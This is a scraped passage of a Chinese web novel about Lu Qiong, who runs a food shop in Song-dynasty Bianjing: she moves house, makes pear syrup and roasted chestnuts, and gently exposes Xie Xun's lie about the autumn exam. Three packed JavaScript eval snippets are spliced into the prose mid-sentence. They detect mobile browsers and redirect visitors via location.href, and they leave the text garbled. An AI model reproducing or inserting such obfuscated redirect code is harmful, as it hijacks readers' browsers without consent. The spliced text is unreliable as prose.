又故意探出头去，见三娘那不如往日般热闹，她忍不住得意笑：“这下总算把她风头挤下去，算是争了口气！” 店里不停有人叫掌柜，杨姐儿还在这“诉苦”，陆琼听了直摇头，不过这也算是幸福的苦恼。 “陆掌柜，你这店里可容不下这般多人了，不打算扩张下铺子？”一位吃完粥底火锅的食客问道，因喝了点酒，脸上还浮起一圈淡淡的红晕。 陆琼数了数眼前的铜板，将近一百文，手一刮，全都“哐当”一声掉进钱柜里。 拍了怕手心，她才对着食客笑：“等日后有钱了再说，何况还得靠郎君支持本店！” 食客听了这话，心里也升起一股满足感，谁不爱听夸赞的话？这下可是说到他心坎里去，对陆记也更是喜欢了。 心下决定要把陆记介绍给更多友人。 等食客散去，已是子时，也比平日都晚了一个时辰，店里只剩下累极的几人。 杨姐儿更是夸张，直接摊在椅子上，仰着头，没有下午那般的得意，只是叹气：“再也不要了……太累了……” 陆萱也累得不成人样，靠着墙便能睡着。 只有两位帮工还在尽职尽责，把余下的桌子都擦净，污水也给倒了。 坐在椅子上歇会儿，陆琼才把账本翻出来，今儿的进账是昨儿的三倍多，还要减去成本，不过这样下来也有差不多有两倍的利润。 往日看得眼花的账本，如今也变得可爱起来，尤其是一页页翻过，意味着钱也更多。 鉴于这回“粥底火锅”的热潮许是会持续几日，陆琼也决定多雇几天帮工，还给他们涨了钱。 等他们都离开，陆琼才把睡得正香的陆萱叫起来：“还不起来？有炙羊腿吃……” “羊腿……在哪？” 陆萱睁开眼，还未完全清醒，魂儿也是飞的。 陆琼摸摸她的头，笑她：“梦里有，赶紧走吧，再不走明日起不来。” 回去得比往日晚，加上天冷，街上便也更冷清，不过勾栏瓦舍、酒楼画舫还是在夜夜笙歌，热闹极了。 她们互相挨在一起，取着暖一路笑着回去。 等快到院子时，陆琼发觉不对劲，院子外怎么坐着一个人？ “阿姐？”陆萱害怕，想到些什么吓人的事，扯了扯陆琼的衣摆。 陆琼伸出手指，“嘘”一声，便踮着脚，提着灯笼慢慢走进去，几乎没有声响。 那人好似感觉到了，猛地一抬头，许久未见光，还用手虚掩住眼睛，直到看清人，才惊喜叫出声：“小娘子？你可算回来。” 陆琼也才看清这人的脸，不敢置信，随后迟疑道：“阿戈？” 在决定换一处宅子后，陆琼便趁机去百牙阁找了一回阿戈，当时只说尽快帮忙寻，没曾想这般快便有结果。 虽离这有些远，租金也比原来贵一，正好二两，不过院子大上许多，还有一小块地适合种菜，也挖了井，灶房、水房、茅房都齐全，还算符合她的预期。 阿戈坐在灶房旁的八仙桌前，方才等了不少时候，如今才有空饮水，润润干燥的口舌：“这不是碰巧了，给我找到了，还有便是……” “便是什么？”陆琼指尖摩挲着杯壁。 阿戈犹豫不决，最终挠挠头：“就是小娘子能否尽快搬走？我这还有别的客官找上来，想要住你这的宅子。” 陆琼也能理解，只有业务多，才能拿到更多钱，不过最近陆记正忙着，还得拖几日才得空，便说了个时日：“三日后可行？近来有事腾不出时日。” 就算太迟，阿戈也只能应下，不过也总算是能给另外的住客答复。 后来几日忙着招待食客，陆琼还抽空去看了一眼新宅子，院外石阶干净，未生有苔藓，院子里也没有杂草，屋内的大物件都早已搬空，只剩下些不要紧的杂物。 “阿姐！”陆萱围着整个院子跑，不知见了什么，噔噔噔跑过来，身后的裙摆也扬起来。 陆琼也慢悠悠走着，叫住她：“可是见了什么？这般高兴。” 陆萱一脸激动，眼底的欢喜就要溢出来：“这有一颗枣树，还结了不少果！” 枣树……邻家便有一颗枣树，也不知道是这边的甜，还是邻家的甜。 离开通济坊时，最舍不得的人便是霜姐儿。 她蹲在地上，摸着雪儿的头，眼里的泪一滴滴往下坠，雪儿也乖乖蹭在她怀里，这下便直接哭出来：“就不能不走？” 陆琼被她眼巴巴盯着，心生愧疚，却不知道怎么哄。 金娘则觉得丢人，把霜姐儿拽起来：“你这是做什么，琼姐儿还得赶时间，再这样，待会儿的她们给的糕点我可就送人了……” 唯有吃才治得了，也唯有金娘才懂霜姐儿的性子。 听到吃的要送人，霜姐儿擦干泪水，从地上起来，把金娘手里的食盒紧紧抱在怀里，虽一言不发，却也表明了自己的选择。 徒留雪儿一人趴在地上，察觉到“小主人”的决然，尾巴也停在空中，好似有些迷茫。 陆琼心里的那点愧疚也没了，扶着金娘的手笑不停：“霜姐儿可真有意思。” 金娘：“……” 为了搬家，陆琼还特意把铺子交给杨姐儿打理，如今知道她的本事，陆琼也放心得很。 还雇人来帮忙搬运家当，运了好几趟，才终于等到最后一趟。陆琼还里里外外检查一回，确保屋里没有遗漏的，这才出院子。 不过却碰上杜哉往这赶，还有杜延？ 杜哉这半年来便一直忙活一事，那便是换一处宅子住。 他们现下的住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115610|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处，不止小，还有些不便，与邻人之间隔得近，毫无隐私可言，也容易跟人起冲突。 就连杜延平日温习功课也没有多余的地儿，只能借着应天书院的亭子多念点书。 他虽从未抱怨过，但杜哉却是看在眼里，每回邻家一有声响，他便会皱眉，等再次静下心来念书，别处又传来新的动静，不得安宁。 所以杜哉便开始攒钱，给他换一处清静的地儿。可谁能想到，先前住在这的会是陆记的掌柜？ 杜哉见到陆琼第一眼，便惊了，心道一声糟了。 还没来得及阻止，陆琼便先出声，指着他们二人：“杜哉，杜延？你们怎么会一块来？” 说完自己也反应过来，同一个姓，还长得这般相像，只能是两兄弟了。 不过杜延好像有些疑惑：“陆掌柜与阿弟相识？” 陆琼也没想到有这般缘分，笑着开口：“先前陆记……” 杜哉即使拦下她的话，皮笑肉不笑：“阿兄！先前你不是说陆记的糕点好吃？我便偷偷拿钱去买过几趟，没曾想陆掌柜记下我了。” 还给陆琼使眼色：“是吧，陆掌柜？” 这下陆琼也看出不对劲，顺势应下，装作有些记不清：“好似是这么回事……” 恰好这时车夫也催促，她便指着身旁的行李：“我还赶着搬东西，日后有机会再聊？” 说完便赶紧跑，等走远了，陆琼才敢回过头去，那两人还在院子外说话。 不过这事对她来说也算是过去了，搬家要紧！ 新宅子旁边是镇安坊，也就是谢家住的地方。不过她家简陋些，何况还隔了一条巷子，只是平日去陆记要路过谢府。 先前来时，便跟陆萱打扫过，把遗留的杂物都清走，还洗了一趟地砖，如今也干净许多。 陆萱方才便留在这收拾，家当搬运的时候难免落了灰，便从井里打水，把物件都擦一擦。 雪儿一到新家便撒腿到处跑，累了便道枣树下歇着，眯着眼打瞌睡。 灶房是最先整理好的，陆琼见时候不早，便用带来的面粉做了些煎饼，还蘸了点鸡蛋液，外头金黄焦脆，撒一把胡芝麻，更香了。 陆萱闻到味儿便风风火火跑来，刚到灶房们，便忍不住吸了吸鼻子，眯起眼来：“好香……也好饿……” 陆琼也饿，但比她更能抗，笑着把锅里的煎饼刷一层油，翻个面，便“嗞嗞”响。 等出锅，两人也顾不得形象，更顾不得烫手，陆萱更是一边嗷嗷叫，一边往嘴里塞，都说不上话。 待屋里安排妥当，她们便到附近转一圈，熟悉熟悉环境，不过陆琼先前便来过几回，倒也算适应。 与通济坊也并无什么不同，只是这一带物价更贵，她们去成衣铺买了两身棉衣便决定回去。 落日照在街上，行人渐稀疏。 陆琼左右手各提了一份包裹，本想叫走在前头的陆萱慢点，却看见远处有一个熟悉的身影。 是谢洵？ 好似还刚从谢府出来。 47. 梨汁膏 直到回到宅子里，陆琼依旧想不清，谢洵为何会从谢府出来，除非是府中的人？ 何况他也姓谢？ 想起先前有人好似提起过，谢家有两个郎君，大郎君为官，小郎君……好像考上举人便没风声了？这么一想，好似也能说得通，那想必谢洵有可能是谢家的小郎君。 不过为何说他还在准备秋闱？还隐瞒身份？难道他都喜欢玩“扮猪吃老虎”这一套？ 不过这事与她无关，便不再去想跟谢洵有关的事，只是以后对这等大人物要更加谨慎。 可次日醒来时，她便将这一切忘得一干二净。 这几日陆琼一直在反复淘米、炖粥、再淘米……今儿可算是好些，这粥底火锅的热潮可算退去不少，她也起了兴致，捣鼓起梨汁膏。 入秋后，汴京便一直干燥，早上起来脸便紧绷着，时而还会嗓子干，正巧梨能润肺，熬一些梨汁膏还能防燥，叫这段日子好过些。 前朝妃子还用梨汁膏来养颜，可这对陆琼来说是过于奢靡。 再到市集买二十斤秋梨，蜂蜜两升，姜半斤，这便花去近百文，可肉疼！ 所有秋梨都需削皮、去核，用平日捣杨梅的石臼捣烂，最后用粗布过滤，梨汁入锅，加姜汁，文火熬至有些粘稠，下蜂蜜搅匀，便可。 本以为买得够多，她做完才发觉，这只是一罐的量。 杨姐儿也觉得吓人，“嘶”一声：“那前朝的妃子要耗光多少梨？这梨膏也这般能‘吃’梨汁，全都没了，方才可是捣了许久。” 陆琼没回话，挖一勺梨膏，是琥珀色的，闻起来有一股涩意，还带着药香味，沁人心脾！ 刚把梨膏封存，便见许久不来的沈二娘到访。 陆琼端了一盏新点的茶，装作生气：“大讼师这般忙，连抽空来小店的机会也没？” 许是从别处赶来，沈二娘还喘着气，饮下半盏茶，才道：“这些日着实忙，昨日还接了一桩和离的案子！” “和离？”杨姐儿听到这个可来劲了，恰好店内食客不多，干脆也端把椅子坐着听。 陆萱也喜欢听她讲在讼师生涯遇到的事情，也跟着坐好，睁大眼睛，就等沈二娘讲和离的事。 “郎君在外日久，竟带回一位面生的小娘子，娘子便要和离并带回先前的嫁妆，可郎君却不肯。” 杨姐儿不解，瞪大眼睛好奇问，可这事找讼师有何用？ 沈二娘道：“这你有所不知，妇欲离而夫不愿，此案得请讼师帮忙，代拟‘陈状’，还能争回嫁妆，分家产。” 杨姐儿似懂非懂：“这对那娘子来说是好事……” 陆萱分明听不懂，却也跟着摇头晃脑，沈二娘觉得有些可爱，摸了摸她的头。陆琼则在一旁若有所思，总觉得好似在哪听过这事。 不过沈二娘也没说太细，毕竟吃完早食还要忙着给被人办案子。 ...... 明日便是九月初，正是秋闱放榜日，店里也有不少人在讨论，陆琼听着这些琐事也觉得有趣。 “段家二郎可能夺下榜首？” “这是可说不准……” 还悄悄聊起先前科场舞弊一事，据说当时连累不少人，还把春秋两闱停科一回……对朝堂来说是一句话，对寒窗苦读的书生却是要多耽误三年。 等谢洵来时，店里聊秋闱的食客早已散去。他远远便闻到一股很浓郁的香味，只见桌上都架了一个陶瓷锅，可是在做暖锅？不过却有些不同。 没想到半月未来，陆记竟发生如此变化，说不准下回便是要扩张铺子？ 陆琼还在碾茶叶，因着铺子挣钱，店里的茶也换了新品，价钱是比先前贵上一些，不过得了许多老食客的称赞，也算是件好事。 忽地余光瞥见靛青的衣摆，她停下手中的动作，抬头发现竟是谢洵。 这般赶巧。 想到他真实身份，还有秋闱……陆琼便笑得比往日都深：“谢郎今日可是要点些什么？” 许是入秋了的缘故，谢洵竟觉得背后一凉，随后矜持地点头：“多谢陆掌柜，一份梅花汤饼便可。” 难得有人要汤饼，在一旁偷听的杨姐儿抢先应下：“郎君稍等！这就替你和面。” 近来要汤饼的食客不多，毕竟三娘那的味道更好，唯有这的糕点、粥食还能留住客人。杨姐儿最近和的面还没先前一日多，可闲坏了，这下总算能施展一番。 陆琼点茶，最后撒上一小撮桂花，墨绿的茶面伴着嫩黄的桂花，别有滋味。 放下茶盏，她才装作不经意提起秋闱：“明日便放榜，谢郎可会担忧？” 谢洵正好捧起茶杯，还未饮，便被这话吓得呛到，一时激动，茶盏还溅起水渍到后背。 他早已忘了先前说过的话，如今该如何圆？ 见谢洵脸蹭地红起来，还有些不安，陆琼笑意更深：“中秋那日，郎君还有心思光顾本店，可见考得不错，明日一同去揭榜，如何？” 谢洵装作镇静，可背后早已湿了一片：“陆掌柜所言差矣。” 陆琼也跟着演：“此话怎讲？” 谢洵也不知接下应当如何回话，若说实话，可会叫人觉得自己是个虚假之人，可放榜后，仍会被戳穿…… 自以为想了个妙计。 他便摇头，再是叹一声：“自幼愚笨，读再多书也无法学会，许是要落榜，怕叫小娘子失望了。” 竟为了圆谎而自损，陆琼都被他这不要脸的程度折服，气笑了，还得安慰他：“郎君莫要说这些丧气话，来年还能再考，说不准便考上了。” 谢洵也满脸愁苦：“秋闱三年一次，这次落榜，还得再等三年……我不适合这条路，还是就此作罢好！” 是否有些入戏太深，这位郎君？ 还好杨姐儿及时解救，捧着一碗新鲜出炉的梅花汤饼，笑出眼纹：“郎君的汤饼来了，可是揉了小半天，定要好好品尝！” 她一脸“慈祥”看着两位，心里默默比了两根指头，这才叫登对。 见他们都沉默，杨姐儿笑着摆手：“可是我碍着你们？我这就走……这就走。” 被当众打趣，对陆琼来说不算什么，可谢洵眼见着便要熟透了，分不清是汤饼在冒气，还是他给热的。 她便收起心思，不再打搅谢洵：“郎君慢些享用，不必急。” 谢洵不敢抬头，僵硬地点点头。 …… 谢府书房里，案桌上点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15121987|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一盏醒神的香，烟雾渐渐萦绕四周。 青弦将商队近况交代一遍：“此次从汴京起，到西域需一月余，年底返程……这西域葡萄干能以十倍差价换取江南丝绸……” 半天没得到回应，他的视线也从书信移开，顿时失语。 头一回见小郎君心思不在公事，可是在哪丢了七魂六魄？上回郎中开的药到底是不行。 “郎君可要……” 谢洵却摆手，打断他：“明日再说。” 他走了，青弦才道出未说完的话：“……稍作歇息。” 每当惆怅之时，谢洵便会到庭院里坐会儿，如今石桌上摆着一壶酒，还是中秋留下的桂花酿。 杯中倒满，却迟迟没有饮酒的意味。 一直到夜深，谢湛才赶来，还自顾自倒上一小杯，酌一杯才笑着：“方才从朝廷赶来，便听说有人失魂落魄，这是怎么了？” 而谢洵只是叹气。 谢湛依旧笑道：“可是与母亲起争执？” 他还是一声叹气：“只是撒了点谎，发觉如今圆不回去。” 这叫谢湛越发好奇，还是头回见他撒谎：“何人叫你如此大费周章？” 这般愁，定是在他心中占据一定分量。 谢洵没回话，只是不解。为何今日会觉得难为，还会如此犹豫不决？想不清，只好望着月光出神，总觉得心里不安。 …… 在大宋，搬新住所要办“暖房”新宴，陆琼便决定夜里闭店，把众人请到新家。 院子清出一块空地，跟杨姐儿一起把堂屋的八仙桌搬出来，可沉了！ 陆萱跟霜姐儿在大枣，一人一竹篮，踮着脚拉下树枝，就差攀上树去摘枣了。还落了一地，霜姐儿捡起地上的枣，在衣袖处蹭蹭，便直接咬一口，很脆，也很甜，好吃到眯起眼来！ 金娘带了点东西，说要在门槛下埋小麦、谷子还有铜钱，陆琼不懂这是何意，不过也是好意头。 焚艾草、熏新灶，陆琼还用新锅熬了红糖圆子，还是习惯地撒上桂花点缀。 待忙完一切，她们才借着月光围坐一团。 桌上摆着炙羊肉、煿金煮玉，还有些素菜，金娘给霜姐儿夹肉，自己也不忘添菜，说起裴家的事：“方才来时，他们可是又吵起来了，还要闹和离！” 对这件事，陆琼也没什么看法，毕竟早先听沈二娘说那案子时，内心便有预感，如今也算是意料之中。 可金娘却愁，菜也没心情吃：“也不知丫丫该如何是好……” 随后聊起别的事，冲淡了先前的悲伤。 待众人离去，夜也深了。 临睡前，陆萱突然提起江素的事：“素姐儿这会儿应当在汴京了。” 陆琼不明白她是何意，可是在担心？便继续听着。 谁知陆萱下一句便叫她慌了神：“阿姐也不小了，为何还不成婚，虞娘说等别人孩子能走路了，也不知阿姐能否成亲。” 陆琼掐她脸，没好气道：“这事轮不着你愁，明日还要早起，快去睡……” 比起这事，她更想知道江素的簪子如何了，离姐儿跟虞娘真的把钱赔了？ 等陆家的灯火彻底灭下，已是子时。 48. 放榜日 放榜这日，全汴京的百姓都在讨论秋闱，就连陆记也跟着热闹。为了图个好意头，许多食客还点上好几份广寒糕，总之陆琼是受益最大的人。 杨姐儿不懂何为会式，何为乡试，倒也知道上榜即为举人，前途无限，汴京里不少人家就是拼命也要攒出科考的钱。 可她仍然不解：“小娘子，你说有这些钱为何不用来做买卖？” 陆琼也停下手中的事，思索一会儿才道：“士农工商，‘士’便是首位，就是汴京里的富商，在科考开放后，依旧一拥而入，这地位向来是不等的。” 杨姐儿似懂非懂，却也没再追问，毕竟这段话便叫她思索许久，只是默默念叨着“士农工商”几个字眼。 见她还在纠结，陆琼也不想继续深入，毕竟今儿的栗子选得好，可不能浪费了。 近来州桥的夜市也开始叫卖炒栗子，陆记自是不能落伍。 昨夜新买了一个旋纹铁斧，专门用来炒栗子，抹去内壁的水渍，她使劲搬到灶台旁，委实有些沉。且这斧深一尺二寸，可以容下许多栗子，不止受热均匀，还能防止栗子蹦出。 还没等重阳节，用菊枝烧的炭便有不少，陆记也购入一批，用来炒栗子，不仅有股淡香，还能去焦味。 “阿姐，方才见着杜哉了。”陆萱顶着烈日进来，所幸如今天凉，晒些太阳还暖和些。 陆琼在给栗子开口，用竹刀划成十字，这样好炒些，也好剥壳：“见到杜哉怎么了？” 陆萱搬着矮凳坐在跟前，一讲话，两条垂鬓便跟着脑袋左右晃：“他看着愁眉苦脸的，见了人都不打招呼。” 讲着还生起气来，哼一声：“我下回也不搭理他，叫他不理人。” “唉，盼儿说得没错……” 见她支着脑袋，脸上被挤出肉来，陆琼忍不住想捏捏她的脸，手已伸出去，才想起还在处理栗子，只能作罢。 “盼儿跟你说什么了？如今都有事瞒着阿姐了。” 陆萱收起脚，坐正来，仰着头嘚瑟：“我这是不想事事打搅阿姐，再说盼儿便有许多事瞒着她爹娘，不过都跟我说了。” 或许这就叫闺中秘事？ 陆琼顿时生出吾家有女初长成的感悟，还颇有点长姐如母的实感。 栗子开完口，便放入木盆里，还要用冷水泡上一阵子，这间隙陆琼便跟着食客聊天，顺带套出喜好，并无不同，皆是偏好甜食。 除此之外，还聊到不久后的重阳节，登高、赏菊、辞青、打糍粑…… 不过对陆琼来说，此刻的要紧事是炒栗子！ 三年生槐木制成的铲子，前端开三岔口，在翻炒时才能破壳却不伤仁，先放炭，等冒烟便加入栗子，边炒边撒一撮淡黄的药粉，香味渐渐散开来。 不少栗子还爆了口，露出淡黄的栗子仁，叫人立即想咬上一口，好体会那酥软的口感。 栗子还有“听栗赌茶”的玩法，蒙眼听栗爆声猜火候，不过这也只是文人才有的闲情雅致。 与糕点不同，炒栗子则是用桑皮纸包住，能散热，也能防潮，还需在外捆香蒲草，三日内尽早使用，不然便会失去酥脆。 陆琼特意在靠门的灶台边炒栗子，这香味一出，十条街都能闻着。 眼见着对面陈记鱼铺的掌柜一直抻着脖子，杨姐儿也按耐不住，攥着腰间的裙摆，想买下第一份炒栗子，说是带回给家人尝尝。 陆琼便在一旁偷笑，也就只有杨姐儿还自认为藏得好。 食客点了酒，未饮几杯便与旁人争论起来：“‘解元’是了不得，可能被主考用朱笔圈住‘魁星点斗’的‘文魁’更是有特别之处。” 深色衣袍的食客听见这话，立即放下手中未吃净的广寒糕：“这话怎讲？解元为榜首，不比第六好？” 饮酒食客还未说话，旁的小郎君便接话：“若说好，不得是‘坐红椅’，正好是乡试最后一名，这运气属实好……也不知今年何人占据榜尾？” 其余两位食客皆是无语，可坐红椅也不是人人能当的，三年内不得参加会式，还得付“保名银”防止除籍。 待店里食客变少，陆琼翻开账本打算把昨日的帐补上，却发现墨没了：“杨姐儿，铺子你先看着，我去东街买些墨。” 杨姐浑身都是栗子香，把新包好的栗子递给食客，忙得手脚不能停：“好，小娘子放心去！” 陆琼带上一小把碎银子，便迈着步子出门去。 东街的买卖以古玩字画居多，再就是些小药铺，她随意寻了一家进去，木柜上摆着琳琅满目的商品，但与她来说，能用就行。 刚出门便见到熟悉的身影，好似是江素？身边还跟了一位陌生男子，想必这就是她那位下了重聘的郎君。 还是出城门的方向，不过算起来今儿也是她回门的日子。 …… 离汴京二十里外，虞娘家也在炒栗子，整个院子皆是栗子香。 送走琼姐儿她们那日，江素还特意找来了，也跟离姐儿说不再追究断簪子的事，可这却叫她愧疚起来。本来刘婆子那般对她，离姐儿还能生出一股气，如今这股气散了，不对的人只剩下她一个。 离姐儿跟年轻时的虞娘很像，为人仗义，却也容易冲动，如今倒因为这事沉淀下来，性子也更稳重。是以在她说要做买卖、弄生意时，虞娘也同意了，叫她放手去做。 离姐儿在捣鼓她的炒栗子，虞娘也在忙活。 这些天谷子也彻底晒干，等收起来便能拿去脱粟壳。她把谷子撒入石碾槽，攥住枣木推杆，石碾轮外侧压碎粟壳，嘎吱响，混着草屑飞扬。 撞击声听着清脆，那便是要把米碾碎了，得加谷子，若是听着闷，便是谷子太厚，要拨弄开来。 如今院子里既有粟香，也有栗子香…… 离姐儿寻不到桑皮纸，便用芭蕉叶包成好几份，一份卖二十文，她还能挣六七文，听着不多，但对离姐儿来说，这也是天大的钱！ 她挎着竹篮，放满刚出炉还烫手的栗子，沿着溪边下去。 却见着了江素！ 离姐儿揉揉眼睛，待朦胧散去，那道淡青的身影也变得清晰，还真是江素！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127841|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正好她做了炒栗子，便想给她送一份，提着竹篮一路小跑过去。 在宋朝，回门吉时应当选在出嫁第三日的辰时，意味“三阳开泰”，不过江素路上耽误了，便错过吉时。 带些团圆糕、“三色绶”酒坛、干果盒便算是回门礼。 刘婆子见着两人自是高兴，好容易才笑一回，连忙叫两人坐下，江笙也端上一直热着的茶。 江素的郎君在汴京做生意，有一家铺子，算不上富有，却也比汴京大多数百姓过得滋润，刘婆子见两人那是越看越喜欢。 想着也该吃午食了，她便拉着江素到后院的灶台去。与别家在前院圈地不同，刘婆子家在后院种菜，还挖了一口井，旁边起了一个草棚子，下边就是灶台。 江素蹲在井边择菜，跟刘婆子从汴京聊到家里，一不留神便提到簪子的事：“阿奶，你有去找过离姐儿没？” “不是说好不提这事了……”刘婆子脸上也没了笑意。 即便知道她不开心，江素还是要说：“这事本就是你错了，明明就与离姐儿无关……” 刘婆子被人指出错，还真挂起脸来，扯下腰间那布满补丁的围裙，一把摔在灶台山：“是我鬼迷心窍，是我不知好歹，我活该行了吧……” 转身便被吓一跳，竟然看到离姐儿站在后门处，刘婆子不自觉往后退一步，眼神看向别处，绕过她走进屋子。 江素也察觉不对，见离姐儿来了，许是背光的缘故，看不清神色。一不留神木盆里的菜都放作一团，刚择完的也混在一起。 江素收起心思，干脆把菜都端到灶台上，跟离姐儿打招呼：“今儿怎么来了？” 离姐儿先是盯着她，再笑着把竹篮拎起来：“方才炒的栗子，本想拿去换钱，正巧看你回来了，就想着先给你送一些。” 原来如此，江素看着她的笑，一处嘴角还陷进去个小窝，失了神，等她再次唤她时才勉强笑：“你怎么想到做这些？先前不是最怕麻烦了……” 离姐儿放下竹篮，摊开了另一边手，装作轻松：“只是想这么做了，周围人都有事做，难不成我如今还要天天下河捞鱼、爬树摘果子？” 看她并无不对，江素才放下心来，两人在后院聊起过去。 有回离姐儿带着大家去后山，谁知竟下起雨来，家里晒的谷子都没来得及收，几个跟着一块跑的小孩都被爹娘打了一顿，唯独陆琼逃过一劫，后来还是她找江素给大家拿了药油…… …… 陆琼回到铺子时，离闭店还有一小会儿，可杨姐儿先前买的栗子已不见踪影。 “杨姐儿，你方才偷懒去了？把一袋栗子给吃空了？” 这一大口锅按下来，杨姐儿着急忙慌自证。见她慌成这样，陆琼还是捂着嘴笑了好一会儿，才放过她。 随后一道低沉的声音传来，还带着笑：“从洲桥下来，便听见陆掌柜的笑声，可是有什么喜事？” 见是谢洵，陆琼也笑着对上他的眼眸，稍稍歪头：“在说今日放榜之事。那谢郎君这般开心，可是上榜了？” 49. 说童趣 “可是陆掌柜亲自炒的栗子？”谢洵坐在墙角的桌子，面前摆着一盘冒热气的栗子，发出焦香味。 陆琼还热了壶桂花酿，端到桌上，笑着点头：“谢郎说中了，这些是方才做的，如今还脆着，正是宜吃的时候。” 说完便到了一杯桂花酿，淡淡的桂花香伴着酒味漫在四周，熏醉了人。 谢洵想起上次中秋喝得桂花酿，后来头痛了一日，如今也心有余悸，不过攥紧的手最后还是放了。 店里无新的食客需要招徕，陆琼便与他攀谈起来：“既然落榜了，那谢郎近来在做些什么？” “只是些举足轻重的小事，不敢在陆掌柜面前造次。”谢洵脸上挂着笑，叫人揪不出错来。 陆琼心里冷哼，却也不揭穿他。想到他作为谢府的郎君，也不知儿时怎么过的，可是整日关在学堂里念书？ 提到童趣，谢洵也沉默，倒是耳边红了起来。 这是有些什么？陆琼越发好奇，虽未说什么，可发亮的双眸叫人难以忽视。 谢洵轻咳一声，才缓缓开口：“若陆掌柜想知，那我便说与你听。” 八岁那年，谢洵跟同窗在学堂后院闲玩，有人不知从何带来几根红薯，一行人便烤起红薯来，结果把周边的草点着了，不仅引来了堂长，最后还被训了一顿。 他母亲知道后，把谢洵禁足在府内，还叫他抄了一月的《论语》，最后不仅倒背如流，还练出一手好字。 陆琼听到他把学堂点着了便觉得好笑，竟把她曾经想做的事给干了：“真不能以貌取人……” 谢洵被笑得抬不起头，抿着嘴，端起一旁凉了的桂花酿，饮下去便有些醉意。 最后还添上一句：“不过那日的红薯格外香甜。” 听到这陆琼也拍了下手，眼里闪着星星：“其实我也曾做过相似的事，不过有些不同。” 初次下厨，她还“炸”过厨房，可后来也越挫越勇。懂了火候、先下后下、调味，最后还敢抛开菜谱钻研，偶尔会做出“黑暗料理”，却也会有意外的发现。 陆琼换了种说法跟谢洵讲，讲完也怀念起前世。 许是察觉到她的悲伤，谢洵也给她到了杯酒，嘴角牵起：“小娘子在厨艺上确有天分。” 陆琼倒不知他有何可夸的，便也跟着笑。 先前“粥底火锅”的热潮过后，陆记也得以恢复原状，这日便还是下午闭店。 新赁的宅子有这样的好处——清静。 虽说先前在通济坊也不错，可总归还是有不便之处，如今院子更大些，四周围起高墙，隐蔽性也更好。 陆萱在灶房熬粥，陆琼就在院里捣衣，手洗虽累，但不用到外头打水很是方便。 “阿姐，”陆萱端来一小盘洗净的枣，还带着水珠，“这枣可甜！” 陆琼蹲在地上，张嘴被投喂了一颗带红的枣，脆脆的，也甜甜的，最后把核吐在手心，放到一旁。 这院子有些空，前头的地也没来得及种，先前只是除了草，还顺带翻了地。 “我们今儿买些种子？” 学着她的样子，陆萱也蹲在一旁，嘴里还嚼着脆脆的枣：“可能买些什么？进来天冷，都种不活。” “种些萝卜，到时候腌萝卜吃，还有菘菜，这也能腌……” 陆萱还没回话，忽地脸皱起来，动了动鼻子，猛地站起来，冲进灶房，只听见她懊悔的声音：“我的粥糊了……” 最后这粥也吃不下，又重新煮了点面，一直捣鼓到未时才吃上饭。 春困、夏倦、秋乏、冬眠……一年四季，陆琼的午后皆是睡过去的。等醒来时，院子便起了风，把刚晾的衣裳都吹起来，她闲着无事，便打算带上钱去市集挑种子。 通济坊在西处，而如今的住所则在东处，也临着东街，上街、出行皆是便利。 不论是做何买卖的，大多都会炒上几份栗子，也能很快售空，还有些摆了酥琼叶，为隔夜蒸饼，烤酥后蘸些蜂蜜，便是一道不错的茶点。 陆琼不大喜欢，一是太甜，二是容易吃得手脏。也不打算在陆记推这道茶点，实在麻烦。 四周人声鼎沸，她也沿着街边走，还要注意避让行人，只能慢些。 眼前闪过一个身影，很快又没入人海，见那高大的体型，有些像是孟升？不过怎么还挑着担子？ 虹桥附近皆是小吃摊，徐妙姑早就支起摊子，见孟升来了，赶上去帮忙卸下。 “孟大哥，可是有些累？要不下回还是我自己来？”见他满身汗，徐妙姑有些担忧。 孟升蹲下，绕过竿子把担子放下才起身：“你这细胳膊细腿的，怎么扛得起。” 这两个大竹筐，一份装了些果子，另一份是刚熬好的浆水，都不是徐妙姑一人能提起的。 旁边摊位的大娘也笑：“小娘子就甭管了，你郎君乐意做，就叫他做，不然往后这事都丢给你了……” 徐妙姑低着头，声音细微，却怎么也说不出：“他不是……” 旁人就爱打趣小娘子，笑成一片：“今儿不是，明儿说不成便是了！” 许是孟升皮糙肉厚，听见别人打趣也看不出半点反应，只是手下的动作更急了，差点搞混了好几样东西。 终于闲下来，便见对面的糖葫芦摊来了位客人，他也迈大步向前，只丢下一句：“我给你买糖葫芦去！” 徐妙姑跟在后边根本拦不住他，便也放弃，唯有紧皱的眉头显示出她的忧虑。 裴丫仰头看着草把子上的最后一根糖葫芦，眼里亮晶晶的，指着最顶端的糖葫芦，就要叫人拿下来，却被一只大手率先夺去。 